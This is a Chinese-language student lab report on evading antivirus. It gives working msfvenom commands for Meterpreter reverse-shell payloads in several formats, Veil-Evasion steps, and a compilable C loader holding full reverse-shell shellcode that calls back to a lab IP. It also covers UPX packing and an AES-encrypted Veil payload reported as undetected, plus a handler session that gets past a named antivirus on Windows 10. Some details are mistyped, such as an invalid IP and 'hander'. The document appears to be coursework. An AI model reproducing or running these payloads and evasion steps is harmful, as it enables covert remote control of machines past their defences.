網路對抗實驗三 免殺原理與實踐
基礎知識問答
(1)殺軟是如何檢測出惡意程式碼的?
1.基於特徵碼檢測
a.很多軟體都會有各種特徵碼記成的特徵庫
b.惡意軟體的一個或幾個片斷就可作為識別依據。
2.也有啟發式惡意軟體的檢測
a.寧殺錯不放過
3.基於行為的檢測
(2)免殺是做什麼?
1.免殺就是通過某些手段對軟體進行處理,讓它不會被防毒軟體檢測出來
(3)免殺的基本方法有哪些
根據殺軟檢測惡意軟體的手段,即大致技術
1.改變特徵碼
a.加殼:壓縮殼 加密殼
b.用encode進行編碼
c.基於payload重新編譯生成可執行檔案
d.用其他語言進行重寫再編譯(veil-evasion)
2.改變行為
a.儘量使用反彈式連線
b.使用隧道技術
c.加密通訊資料
d.基於記憶體操作
e.減少對系統的修改
f.加入混淆作用的正常功能程式碼
3.非常規方法
a.使用一個有漏洞的應用當成後門,編寫攻擊程式碼整合到如MSF中。
b.使用社工類攻擊,誘騙目標關閉AV軟體。
c.純手工打造一個惡意軟體
(4)開啟殺軟能絕對防止電腦中惡意程式碼嗎?
不能,由於惡意程式碼會經過重重偽裝,使得自己的特徵碼很難被防毒軟體檢測出來而清除掉,所以不可能是絕對的防止電腦中惡意程式碼。
實踐內容
一、生成後門進行掃描
正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
檢測直接生成的後門exe檔案(實驗二中的後門程式)
我們可以看到檢出率為53/69,從掃描結果可以看出,我們不加任何處理的後門程式大多數殺軟都可以檢測得到,因此我們用msf編碼器對後門程式進行一次到多次的編碼,檢視編碼後的檢測效果。
生成一次編碼的後門程式:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.199.239 LPORT=1215 -f exe > exp3.exe
我們可以看到還是可以被檢測出52/69相較之前略有下降
生成十次編碼的後門程式:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.199.239 LPORT=1215 -f exe > encoded10.exe
此時大多數防毒軟體還是可以將其檢測出來
二、msfvenom生成如jar之類的其他檔案
首先先生成jar檔案
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215jar.jar
我們看到檢出率大大下降
生成jsp檔案
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215jsp.jsp
生成php檔案
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215php.php
生成apk檔案
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215apk.apk
三、使用veil-evasion生成後門程式
首先進行下載操作:sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update
安裝veil:使用sudo apt-get install veil進行veil的安裝
參考相關幫助文件:https://cnlnn.github.io/html/Veil安裝失敗的解決方法.html 以及網上搜集資料解決許多問題後繼續安裝
終於是安裝成功(太不容易了)
使用veil工具
veil
use evasion //進入Evil—Evasion
use c/meterpreter/rev_tcp.py //進入配置介面
set LHOST 192.168.199.239 //設定反彈連結ip,此處為Kali的ip
set LPORT 1215 //設定埠
generate
設定生成的檔案(名稱)
儲存路徑為/var/lib/veil/output/compiled/20191215veil.exe
匯出之後進行檢查
我們可以看到檢出率還是很高
四、使用C+shellcode程式設計生成後門程式
使用如下指令生成shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 -f c
建立20191215.c 將生成的shellcode新增到檔案中
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x50\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xc7\xef\x68\x02"
"\x00\x04\xbf\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";int main() { int (*func)() = (int(*)())buf; func(); }
使用i686-w64-mingw32-g++ 20191215.c -o 20191215.exe
生成可執行檔案
匯出之後進行檢測
還是能被很多防毒軟體檢測出來的
五、加殼工具
使用命令upx 20191215.exe -o 20191215pro.exe對20191215.exe
加殼
再進行檢測
檢出率還是很高
六、通過組合應用各種技術實現惡意程式碼免殺
這裡借鑑同學的利用python+aes_encrypt
開啟veil選擇Evasion
輸入list
use python/shellcode_inject/aes_encrypt.py
generate
選擇2
選擇自己的LHOST LPORT等生成檔案
將生成的檔案去檢測此時檢出率為0
七、用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
電腦環境:win10主機
防毒引擎:火絨
殺軟版本:5.0.67.0
木馬庫版本時間:2022.4.6
輸入
use exploit/multi/hander
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.2390
set LPORT 1215
exploit
這時候我們看到已經成功了,而且我的火絨也沒有檢測出來
實驗體會
這次試驗重點在於各種操作,操作性是這次實驗的重點,我在安裝veil的時候遇到了許多問題,光是安裝這一步就耗費了將近一天的時間,,遇到了各種各樣的問題,最後是查詢了各種資料用了多種方法才成功的,也教會我遇到困難不要放棄,其次這個實驗告訴我們針對電腦中的惡意程式碼,不能完全的信任自己電腦中的防毒軟體,有些惡意程式碼會層層偽裝,跳過防毒軟體的偵察實現其目的,更多還是要從個人出發,從源頭出發,保護好自己計算機的安全。